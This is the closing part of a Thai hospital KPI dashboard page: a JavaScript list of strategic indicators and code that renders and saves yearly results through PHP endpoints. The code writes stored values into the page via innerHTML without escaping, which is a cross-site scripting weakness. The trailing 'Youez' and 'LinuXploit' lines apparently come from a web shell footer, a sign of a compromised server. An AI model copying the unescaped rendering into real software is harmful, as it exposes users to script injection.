 {id:36,g:'P2',sub:'DHF',name:'อัตราการเกิด DSS ในโรงพยาบาล (=0)',t:['0','0','0','0','0'],bl:'0',ow:'กมลวรรณ'},
 {id:37,g:'P2',sub:'Depression',name:'อัตราฆ่าตัวตายสำเร็จในผู้ป่วยโรคซึมเศร้า (<2.5)',t:['2.5','2.25','2','2.5','1.5'],bl:'0',ow:'มนสิชา'},
 {id:38,g:'P2',sub:'TB',name:'อัตราการตายด้วยโรควัณโรค (<5%)',t:['<5%','<5%','<5%','<5%','<5%'],bl:'<5%',ow:'เสาวณีย์'},
 {id:39,g:'P2',sub:'HIV',name:'ร้อยละผู้ป่วยรับประทานยาต่อเนื่อง Adherence (>90%)',t:['90%','95%','95%','90%','100%'],bl:'n/a',ow:'สุวิทย์'},
 // P3
 {id:40,g:'P3',sub:'HIMSS',name:'ระบบสารสนเทศผ่านมาตรฐาน HIMSS',t:['n/a','n/a','n/a','ระดับ 4','ระดับ 6'],bl:'n/a',ow:'จริยาพร'},
 {id:41,g:'P3',sub:'HAIT',name:'ผ่านมาตรฐาน HAIT',t:['ผ่านประเมินตนเอง','รพ.นำร่องจังหวัด','ผ่านประเมินตนเอง','ผ่านการประเมิน HAIT','ผ่านการประเมิน HAIT'],bl:'ผ่านเกณฑ์ประเมินตนเอง',ow:'จริยาพร'},
 {id:42,g:'P3',sub:'IT System',name:'การประยุกต์ใช้ระบบบริหารจัดการสารสนเทศและพัสดุ (>60%)',t:['60%','65%','70%','60%','80%'],bl:'n/a',ow:'จริยาพร'},
 // P4
 {id:43,g:'P4',sub:'HS4',name:'ผ่านมาตรฐานระบบบริการสุขภาพ HS4 (>70%)',t:['70%','75%','80%','70%','90%'],bl:'25%',ow:'จริยาพร'},
 {id:44,g:'P4',sub:'Green&Clean',name:'ได้รับมาตรฐาน Green & Clean Hospital',t:['ดีมาก','ดีมากPlus','ดีมากPlus','ดีมากPlus','ดีมากPlus'],bl:'ผ่านระดับมาก',ow:'อรวรรณ'},
 {id:45,g:'P4',sub:'EMS',name:'ผ่านการประเมินการพัฒนาสถานบริการตามนโยบาย EMS (>80%)',t:['>80%','>85%','>90%','>80%','>100%'],bl:'83.33%',ow:'นิภารัตน์'},
 {id:46,g:'P4',sub:'HA',name:'ผ่านมาตรฐาน HA',t:['ผ่านการรับรอง','ผ่านการรับรอง','ผ่านการรับรอง','ผ่านการรับรอง','ผ่านการรับรอง'],bl:'ขั้น 3',ow:'สุวิทย์'},
 {id:47,g:'P4',sub:'NCD Clinic',name:'ผ่านเกณฑ์ NCD Clinic Award',t:['One stop service','Tele Medicine','Tele Medicine','One stop service','เครือข่ายสุขภาพเข้มแข็ง'],bl:'n/a',ow:'ศศิธร'},
 {id:48,g:'P4',sub:'NCD Clinic',name:'ระยะเวลารอคอยภายในคลินิก NCD (<150 นาที)',t:['150','140','130','150','110'],bl:'159 นาที',ow:'ศศิธร'},
 {id:49,g:'P4',sub:'Asthma',name:'ผ่านเกณฑ์ Easy Asthma Clinic',t:['ผ่าน','ผ่าน','ผ่าน','ผ่าน','ผ่าน'],bl:'ผ่าน',ow:'กมลวรรณ'},
 {id:50,g:'P4',sub:'จิตเวช',name:'ผ่านมาตรฐานบริการสุขภาพจิตและจิตเวช ระดับ 2',t:['ระดับ 2','ระดับ 2','ระดับ 1','ระดับ 2','ระดับ 1'],bl:'ระดับ 2',ow:'มนสิชา'},
 {id:51,g:'P4',sub:'เภสัชกรรม',name:'ผ่านเกณฑ์ความปลอดภัยด้านยา',t:['ระดับ 3','ระดับ 3','ระดับ 4','ระดับ 3','ระดับ 4'],bl:'n/a',ow:'สุนิสา'},
 {id:52,g:'P4',sub:'Lab',name:'ผ่านเกณฑ์คุณภาพมาตรฐานห้องปฏิบัติการ (LA)',t:['ผ่าน','ผ่าน','ผ่าน','ผ่าน','ผ่าน'],bl:'ผ่าน',ow:'นันท์นภัส'},
 {id:53,g:'P4',sub:'กายภาพ',name:'ผ่านเกณฑ์มาตรฐานกายภาพบำบัด',t:['ดีเยี่ยม','ดีเยี่ยม','ผ่านการรับรองสภา','ดีเยี่ยม','ผ่านการรับรองสภา'],bl:'n/a',ow:'ทิพวรรณ'},
 {id:54,g:'P4',sub:'ER',name:'ผ่านเกณฑ์ห้องฉุกเฉินคุณภาพ (คะแนน)',t:['60','60','60','60','70'],bl:'50',ow:'จำรูญศรี'},
 {id:55,g:'P4',sub:'แพทย์ไทย',name:'ร้อยละผู้ป่วยนอกได้รับบริการแพทย์แผนไทยและแพทย์ทางเลือก (>16%)',t:['16%','16%','18%','16%','20%'],bl:'n/a',ow:'ไพลิน'},
 // P5-P7
 {id:56,g:'P5',sub:'เครือข่าย',name:'ศักยภาพภาคีเครือข่าย รพ.สต. ในการส่งเสริมป้องกันโรคยุทธศาสตร์',t:['ดำเนินการ','ดำเนินการ','ดำเนินการ','ดำเนินการ','ผ่านเกณฑ์'],bl:'-',ow:'สุวิทย์'},
 {id:57,g:'P5',sub:'เครือข่าย',name:'ขับเคลื่อนการใช้งบประมาณกองทุนตำบลในการสร้างสุขภาพตามโรคยุทธศาสตร์',t:['ดำเนินการ','ดำเนินการ','ดำเนินการ','ดำเนินการ','ผ่านเกณฑ์'],bl:'-',ow:'สุวิทย์'},
 {id:58,g:'P6',sub:'การเงิน',name:'โรงพยาบาลมีเสถียรภาพด้านการเงินการคลัง (เงินคงเหลือไม่ติดลบ)',t:['บวก','บวก','บวก','บวก','บวก'],bl:'11.17 ล้านบาท',ow:'กลุ่มงานบริหาร'},
 {id:59,g:'P6',sub:'การเงิน',name:'OPD/IPD Unit Cost และ Sum Adj RW ตามมาตรฐาน',t:['ตามเกณฑ์','ตามเกณฑ์','ตามเกณฑ์','ตามเกณฑ์','ตามเกณฑ์'],bl:'-',ow:'กลุ่มงานบริหาร'},
 {id:60,g:'P7',sub:'บุคลากร',name:'บุคลากรมีสมรรถนะเฉพาะทางตามโรคยุทธศาสตร์',t:['ผ่านเกณฑ์','ผ่านเกณฑ์','ผ่านเกณฑ์','ผ่านเกณฑ์','ผ่านเกณฑ์'],bl:'-',ow:'กลุ่มงานบริหาร'},
 {id:61,g:'P7',sub:'บุคลากร',name:'ความสุขของบุคลากร HAPPINOMETER ทุกด้านผ่านเกณฑ์',t:['ผ่านบางด้าน','ผ่านทุกด้าน','ผ่านทุกด้าน','ผ่านทุกด้าน','ผ่านทุกด้าน'],bl:'มีจุดอ่อนบางด้าน',ow:'กลุ่มงานบริหาร'},
];

// ══ STATE ══════════════════════════════════════════
let curYear=2566, curTab='overview';
let RES={};
let LOG=[];
function persist(){}
function getR(id,yr){if(!RES[id])RES[id]={};if(!RES[id][yr])RES[id][yr]={actual:'',status:'',note:'',updatedAt:''};return RES[id][yr];}
function fmtDate(d){return d?new Date(d).toLocaleDateString('th-TH',{year:'numeric',month:'short',day:'numeric',hour:'2-digit',minute:'2-digit'}):'—';}
function tgt(k,yr){return k.t[YI[yr]]||'—';}

async function apiFetch(url, options={}){
 const res=await fetch(url, options);
 const json=await res.json();
 if(!json.success){throw new Error(json.message||'Request failed');}
 return json;
}

async function loadDashboardData(){
 const json=await apiFetch('api/get_dashboard_data.php');
 RES={}; LOG=[];
 (json.data||[]).forEach(row=>{
   if(!RES[row.id]) RES[row.id]={};
   if(row.fiscal_year){
     RES[row.id][row.fiscal_year]={
       actual:row.actual_value||'',
       status:row.status_code||'',
       note:row.note_text||'',
       updatedAt:row.updated_at||''
     };
   }
 });
 LOG=(json.logs||[]).map(item=>({
   name:item.kpi_name||'',
   yr:item.fiscal_year,
   status:item.status_code||'',
   time:item.updated_at||''
 }));
 renderAll();
}

// ══ BADGE ══════════════════════════════════════════
function sbadge(s){
 const m={ok:['bs','✅ บรรลุ'],w:['bw','⚠️ ใกล้เคียง'],d:['bd','❌ ต้องปรับ'],i:['bi','📋 ดำเนินการ']};
 if(!s||!m[s]) return '<span class="badge bn">—</span>';
 return `<span class="badge ${m[s][0]}">${m[s][1]}</span>`;
}
function cmpCell(id,yr){
 const r=getR(id,yr);
 const bg={ok:'#d5f5e3',w:'#fef9e7',d:'#fce4e4',i:'#d6eaf8'}[r.status]||'';
 const val=r.actual?`<div style="font-size:11px;font-weight:700;">${r.actual}</div>`:'';
 const dt=r.updatedAt?`<div style="font-size:9px;color:var(--muted);">${fmtDate(r.updatedAt).split(',')[0]}</div>`:'';
 return `<td style="background:${bg};min-width:90px;cursor:pointer;" onclick="openModal(${id},${yr})">${val}${sbadge(r.status)}${dt}</td>`;
}

// ══ YEAR CONTROL ════════════════════════════════════
function setYear(yr,el){
 curYear=yr;
 document.querySelectorAll('.ytab').forEach(t=>t.classList.remove('active'));
 if(el)el.classList.add('active');
 document.getElementById('ov-yr-badge').textContent=yr;
 document.getElementById('entry-yr-badge').textContent=yr;
 document.getElementById('entry-yr-lbl').textContent=yr;
 document.querySelectorAll('.cur-yr-lbl').forEach(e=>e.textContent=yr);
 document.querySelectorAll('.ov-yr-lbl').forEach(e=>e.textContent=yr);
 renderAll();
}

// ══ TAB CONTROL ════════════════════════════════════
const TMAP={overview:'tab-overview',compare:'tab-compare',vision:'tab-vision',p1:'tab-p1',p2:'tab-p2',p3:'tab-p3',p4:'tab-p4',p567:'tab-p567',entry:'tab-entry'};
function showTab(name){
 curTab=name;
 document.querySelectorAll('.section').forEach(s=>s.classList.remove('active'));
 document.querySelectorAll('.tab').forEach(t=>t.classList.remove('active'));
 document.getElementById(TMAP[name])?.classList.add('active');
 const tabs=document.querySelectorAll('.tab');
 const keys=Object.keys(TMAP);
 const idx=keys.indexOf(name);
 if(tabs[idx])tabs[idx].classList.add('active');
 renderAll();
}

// ══ RENDER OVERVIEW ════════════════════════════════
function renderOverview(){
 const yr=curYear;
 const c={ok:0,w:0,d:0,i:0,'':0};
 KPI.forEach(k=>{c[getR(k.id,yr).status||'']++;});
 document.getElementById('ov-total').textContent=KPI.length;
 document.getElementById('ov-ok').textContent=c.ok;
 document.getElementById('ov-w').textContent=c.w;
 document.getElementById('ov-d').textContent=c.d;

 const GL=['P1','P2','P3','P4','P5','P6','P7'];
 const GN={P1:'P1 ลดการเจ็บป่วยรายใหม่',P2:'P2 ลดการป่วยตาย',P3:'P3 เทคโนโลยี&IT',P4:'P4 มาตรฐานคุณภาพ',P5:'P5 Smart Health Network',P6:'P6 Smart Management',P7:'P7 Smart Staff'};
 const GC={P1:'d',P2:'d',P3:'b',P4:'ok',P5:'ok',P6:'b',P7:'w'};
 let ph='';
 GL.forEach(g=>{
  const gd=KPI.filter(k=>k.g===g);
  const done=gd.filter(k=>getR(k.id,yr).status==='ok').length;
  const pct=gd.length?Math.round(done/gd.length*100):0;
  ph+=`<div class="pw"><div class="pl"><span>${GN[g]}</span><span>${done}/${gd.length} (${pct}%)</span></div>
   <div class="pb"><div class="pf ${GC[g]}" style="width:${pct}%"></div></div></div>`;
 });
 document.getElementById('ov-progress').innerHTML=ph;

 let lh='';
 if(!LOG.length){lh='<div style="color:var(--muted);font-size:12px;padding:6px;">ยังไม่มีการบันทึก</div>';}
 else LOG.slice(0,8).forEach(h=>{
  const dc={ok:'var(--ok)',w:'var(--acc)',d:'var(--danger)',i:'var(--pl)'}[h.status]||'#aaa';
  lh+=`<div class="log-item"><div class="log-dot" style="background:${dc}"></div>
   <div><div style="font-weight:600;font-size:11px;">${h.name.substring(0,55)}${h.name.length>55?'...':''}</div>
   <div style="color:var(--muted);font-size:10px;">ปี ${h.yr} · ${fmtDate(h.time)}</div></div></div>`;
 });
 document.getElementById('ov-log').innerHTML=lh;

 let th='';
 GL.forEach(g=>{
  const gd=KPI.filter(k=>k.g===g);
  const s=gd.filter(k=>getR(k.id,yr).status==='ok').length;
  const w=gd.filter(k=>getR(k.id,yr).status==='w').length;
  const d=gd.filter(k=>getR(k.id,yr).status==='d').length;
  const ii=gd.filter(k=>getR(k.id,yr).status==='i').length;
  const no=gd.filter(k=>!getR(k.id,yr).status).length;
  const pct=gd.length?Math.round(s/gd.length*100):0;
  th+=`<tr><td><strong>${GN[g]}</strong></td><td>${gd.length}</td>
   <td style="color:var(--ok);font-weight:700;">${s}</td><td style="color:var(--acc);font-weight:700;">${w}</td>
   <td style="color:var(--danger);font-weight:700;">${d}</td><td style="color:var(--pl);font-weight:700;">${ii}</td>
   <td style="color:var(--muted);">${no}</td>
   <td><div style="display:flex;align-items:center;gap:6px;">
    <div class="pb" style="width:80px;"><div class="pf ok" style="width:${pct}%"></div></div>
    <span style="font-size:11px;">${pct}%</span></div></td></tr>`;
 });
 document.getElementById('ov-summary').innerHTML=th;
}

// ══ RENDER COMPARE ════════════════════════════════
function renderCompare(){
 let html='';
 KPI.forEach((k,i)=>{
  const cells=YEARS.map(yr=>cmpCell(k.id,yr)).join('');
  html+=`<tr><td>${i+1}</td>
   <td><span class="badge bi">${k.g}</span><br><span style="font-size:9px;color:var(--muted);">${k.sub}</span></td>
   <td style="font-size:11px;">${k.name}</td><td style="font-size:11px;">${k.ow}</td>${cells}</tr>`;
 });
 document.getElementById('cmp-body').innerHTML=html;
}

// ══ RENDER KPI TABLE (single year, single tab) ══
function renderKPITab(grps, headId, bodyId, isMulti){
 const yr=curYear;
 const rows=KPI.filter(k=>grps.includes(k.g));
 const extraH=isMulti?'<th>กลุ่ม</th>':'';
 document.getElementById(headId).innerHTML=`<tr><th>#</th>${extraH}
  <th style="min-width:200px;">ตัวชี้วัด</th><th>ข้อมูลพื้นฐาน</th>
  <th style="font-weight:700;">เป้าหมาย ${yr}</th><th>ผลจริง ${yr}</th>
  <th>สถานะ</th><th>หมายเหตุ</th><th>ผู้รับผิดชอบ</th><th>บันทึกล่าสุด</th><th>แก้ไข</th></tr>`;
 let html='';
 rows.forEach((k,i)=>{
  const r=getR(k.id,yr);
  const extraD=isMulti?`<td><span class="badge bi">${k.g}·${k.sub}</span></td>`:'';
  html+=`<tr><td>${i+1}</td>${extraD}
   <td style="font-size:11px;">${k.name}</td>
   <td style="font-size:10px;color:var(--muted);">${k.bl}</td>
   <td style="font-size:12px;font-weight:700;color:var(--primary);">${tgt(k,yr)}</td>
   <td>${r.actual||'<span style="color:#aaa;">—</span>'}</td>
   <td>${sbadge(r.status)}</td>
   <td style="font-size:10px;max-width:110px;">${r.note||'—'}</td>
   <td style="font-size:11px;">${k.ow}</td>
   <td class="upd-time">${fmtDate(r.updatedAt)}</td>
   <td><button class="ebtn" onclick="openModal(${k.id},${yr})">✏️</button></td></tr>`;
 });
 document.getElementById(bodyId).innerHTML=html;
}

// ══ RENDER ENTRY ════════════════════════════════
function renderEntry(){
 const yr=curYear;
 const q=(document.getElementById('searchQ')?.value||'').toLowerCase();
 const rows=q?KPI.filter(k=>k.name.toLowerCase().includes(q)||k.g.toLowerCase().includes(q)||k.sub.toLowerCase().includes(q)||k.ow.toLowerCase().includes(q)):KPI;
 let html='';
 rows.forEach((k,i)=>{
  const r=getR(k.id,yr);
  html+=`<tr>
   <td>${i+1}</td>
   <td><span class="badge bi">${k.g}</span><br><span style="font-size:9px;color:var(--muted);">${k.sub}</span></td>
   <td style="font-size:11px;max-width:200px;">${k.name}</td>
   <td style="font-size:12px;color:var(--primary);font-weight:700;">${tgt(k,yr)}</td>
   <td><input class="yr-input" type="text" id="ea_${k.id}" value="${r.actual}" placeholder="ผลจริง..."></td>
   <td><select class="yr-sel" id="es_${k.id}">
    <option value="" ${!r.status?'selected':''}>—</option>
    <option value="ok" ${r.status==='ok'?'selected':''}>✅ บรรลุ</option>
    <option value="w" ${r.status==='w'?'selected':''}>⚠️ ใกล้เคียง</option>
    <option value="d" ${r.status==='d'?'selected':''}>❌ ต้องปรับ</option>
    <option value="i" ${r.status==='i'?'selected':''}>📋 ดำเนินการ</option>
   </select></td>
   <td><input class="yr-input" type="text" id="en_${k.id}" value="${r.note}" placeholder="หมายเหตุ..." style="width:110px;"></td>
   <td style="font-size:11px;">${k.ow}</td>
   <td class="upd-time" id="ud_${k.id}">${fmtDate(r.updatedAt)}</td>
   <td><button class="sbtn" id="sb_${k.id}" onclick="saveRow(${k.id})">💾</button></td>
  </tr>`;
 });
 document.getElementById('entry-body').innerHTML=html;
 renderYearStrip();
}

function renderYearStrip(){
 let h='';
 YEARS.forEach((yr,i)=>{
  const done=KPI.filter(k=>getR(k.id,yr).status==='ok').length;
  const pct=Math.round(done/KPI.length*100);
  h+=`<div class="ycard${yr===curYear?' sel':''}" style="background:${YCOL[i]};" onclick="switchYr(${yr},${i})">
   <div class="ycard-yr">ปี ${yr}</div>
   <div class="ycard-pct">${pct}%</div>
   <div class="ycard-sub">บรรลุ ${done}/${KPI.length} ตัวชี้วัด</div>
   ${yr===curYear?'<div class="ycard-sub" style="background:rgba(255,255,255,.2);border-radius:10px;padding:1px 8px;margin-top:4px;">◀ กำลังบันทึก</div>':''}
  </div>`;
 });
 document.getElementById('yr-strip').innerHTML=h;
}

function switchYr(yr,idx){
 const tabs=document.querySelectorAll('.ytab');
 setYear(yr,tabs[idx]);
}

// ══ SAVE ROW ════════════════════════════════════
async function saveRow(id){
 const yr=curYear;
 const a=document.getElementById('ea_'+id)?.value||'';
 const s=document.getElementById('es_'+id)?.value||'';
 const n=document.getElementById('en_'+id)?.value||'';
 try{
   const json=await apiFetch('api/save_kpi_result.php',{
     method:'POST',
     headers:{'Content-Type':'application/json'},
     body:JSON.stringify({kpi_id:id,fiscal_year:yr,actual_value:a,status_code:s,note_text:n})
   });
   getR(id,yr);
   RES[id][yr]={actual:a,status:s,note:n,updatedAt:json.updated_at};
   const kpi=KPI.find(k=>k.id===id);
   LOG.unshift({name:kpi?.name||'',yr,status:s,time:json.updated_at});
   if(LOG.length>60)LOG.pop();
   const btn=document.getElementById('sb_'+id);
   if(btn){btn.textContent='✅';btn.classList.add('saved');setTimeout(()=>{btn.textContent='💾';btn.classList.remove('saved');},1300);}
   const udCell=document.getElementById('ud_'+id);
   if(udCell)udCell.textContent=fmtDate(json.updated_at);
   renderYearStrip(); renderOverview(); renderCompare();
 }catch(err){
   alert('บันทึกไม่สำเร็จ: '+err.message);
   console.error(err);
 }
}

async function saveAll(){
 const yr=curYear;
 const q=(document.getElementById('searchQ')?.value||'').toLowerCase();
 const rows=q?KPI.filter(k=>k.name.toLowerCase().includes(q)||k.g.toLowerCase().includes(q)||k.sub.toLowerCase().includes(q)||k.ow.toLowerCase().includes(q)):KPI;
 const items=rows.map(k=>({
   kpi_id:k.id,
   fiscal_year:yr,
   actual_value:document.getElementById('ea_'+k.id)?.value||'',
   status_code:document.getElementById('es_'+k.id)?.value||'',
   note_text:document.getElementById('en_'+k.id)?.value||''
 }));
 try{
   await apiFetch('api/save_bulk_kpi_results.php',{
     method:'POST',
     headers:{'Content-Type':'application/json'},
     body:JSON.stringify({items})
   });
   await loadDashboardData();
   alert(`✅ บันทึกปี ${yr} เรียบร้อย (${rows.length} รายการ)`);
 }catch(err){
   alert('บันทึกไม่สำเร็จ: '+err.message);
   console.error(err);
 }
}

// ══ MODAL ════════════════════════════════════════
function openModal(id,yr){
 const k=KPI.find(x=>x.id===id);
 if(!k)return;
 const r=getR(id,yr);
 document.getElementById('m-id').value=id;
 document.getElementById('m-yr').value=yr;
 document.getElementById('modal-title').textContent=`✏️ แก้ไข: ${k.g} · ${k.sub}`;
 document.getElementById('m-name').value=k.name;
 document.getElementById('m-target').value=`ข้อมูลพื้นฐาน: ${k.bl} | เป้าหมายปี ${yr}: ${tgt(k,yr)}`;
 document.getElementById('m-yr-show').value=`ปีงบประมาณ ${yr}`;
 document.getElementById('m-actual').value=r.actual;
 document.getElementById('m-status').value=r.status;
 document.getElementById('m-note').value=r.note;
 document.getElementById('editModal').classList.add('open');
}
function closeModal(){document.getElementById('editModal').classList.remove('open');}
async function saveModal(){
 const id=parseInt(document.getElementById('m-id').value);
 const yr=parseInt(document.getElementById('m-yr').value);
 const a=document.getElementById('m-actual').value;
 const s=document.getElementById('m-status').value;
 const n=document.getElementById('m-note').value;
 try{
   const json=await apiFetch('api/save_kpi_result.php',{
     method:'POST',
     headers:{'Content-Type':'application/json'},
     body:JSON.stringify({kpi_id:id,fiscal_year:yr,actual_value:a,status_code:s,note_text:n})
   });
   getR(id,yr);
   RES[id][yr]={actual:a,status:s,note:n,updatedAt:json.updated_at};
   const kpi=KPI.find(k=>k.id===id);
   LOG.unshift({name:kpi?.name||'',yr,status:s,time:json.updated_at});
   if(LOG.length>60)LOG.pop();
   renderAll();
   closeModal();
 }catch(err){
   alert('บันทึกไม่สำเร็จ: '+err.message);
   console.error(err);
 }
}

// ══ RENDER ALL ════════════════════════════════════
function renderAll(){
 renderOverview();
 renderCompare();
 renderKPITab(['P1'],'p1-head','p1-body',false);
 renderKPITab(['P2'],'p2-head','p2-body',false);
 renderKPITab(['P3'],'p3-head','p3-body',false);
 renderKPITab(['P4'],'p4-head','p4-body',false);
 renderKPITab(['P5','P6','P7'],'p567-head','p567-body',true);
 renderEntry();
}

// ══ INIT ════════════════════════════════════════
document.getElementById('curDate').textContent='📅 '+new Date().toLocaleDateString('th-TH',{year:'numeric',month:'long',day:'numeric'});
document.getElementById('editModal').addEventListener('click',e=>{if(e.target===document.getElementById('editModal'))closeModal();});
loadDashboardData().catch(err=>{console.error(err);alert('โหลดข้อมูลไม่สำเร็จ: '+err.message);});
</script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit